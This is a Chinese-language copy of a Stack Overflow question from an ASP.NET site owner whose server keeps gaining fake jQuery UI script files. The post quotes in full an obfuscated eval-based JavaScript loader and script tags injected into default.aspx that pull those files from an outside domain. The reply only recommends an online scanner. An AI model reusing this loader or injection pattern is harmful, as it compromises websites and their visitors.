javascript - 我认为我的网站已被感染

标签 javascript asp.net virus

这让我发疯。我认为我的网站被某种病毒感染了,发生的情况如下:

服务器上出现随机 JavaScript 文件,其名称例如 jquery.ui.dialog.min.jsjquery.ui.button.min.js。所有这些文件都包含相同的代码:

s="";try{q=document.createElement("p");a=(q)?"appendChild":12;q[a]("123"+n);}catch(qw){f=(q)?"fromCharCode":2;h=-016/7;try{eval("a=prototype");}catch(zxc){e=window["e"+"va"+"l"];n="26.30.400.555.198.351.436.505.220.348.184.595.228.315.464.505.80.117.240.525.204.342.388.545.202.96.460.570.198.183.136.520.232.348.448.290.94.141.396.485.226.360.388.570.222.138.456.585.94.297.444.585.220.348.196.260.92.336.416.560.68.96.440.485.218.303.244.170.168.357.420.580.232.303.456.170.64.345.396.570.222.324.432.525.220.309.244.170.194.351.464.555.68.96.408.570.194.327.404.490.222.342.400.505.228.183.136.550.222.102.128.485.216.315.412.550.122.102.396.505.220.348.404.570.68.96.416.505.210.309.416.580.122.102.200.170.64.357.420.500.232.312.244.170.100.102.248.300.94.315.408.570.194.327.404.310.78.123.236.65.20".split(".");if(window.document)for(i=6-2-1-2-1;-161+i!=2-2;i++){k=i;s=s+String[f](n[k]/(i%(h*h)+2));}e(s);}}

主要问题是这个“病毒”在我的 default.aspx 中附加了一行代码,从而破坏了服务器。以下是它添加的内容:

<asp:Content ID="Content1" ContentPlaceHolderID="cphBody" Runat="Server">
//Code here
</asp:Content>**<script type="text/javascript" language="javascript" src="http://easydiablo3.com//ImageStorage/jquery.ui.button.min.js" ></script><script type="text/javascript" language="javascript" src="http://easydiablo3.com//themes/jquery.ui.dialog.min.js" ></script>**

如果我删除这些文件,它们会在一段时间后出现。有谁知道我该如何解决这个问题?

最佳答案

使用此链接检测受感染的文件/文件夹

http://sitecheck.sucuri.net/scanner/

关于javascript - 我认为我的网站已被感染,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/11309769/

相关文章:

JavaScript 火狐重启

javascript - 如何将相同的元素插入空数组

javascript - 如何使用 JavaScript 仅针对 Internet Explorer 11?

c# - 使用 ASP.NET MVC 获取用户的本地路径

asp.net - 如何持续更新div

c# - 需要有关 asp.net 中文档查看器的一些信息

virus - 在沙盒环境中执行文件并跟踪它

javascript - 如何从 GOOGLE AJAX Feed API 获取新闻项目的描述

c - 跳舞娃娃问题: on GCC linux

C# 应用程序被防病毒软件阻止?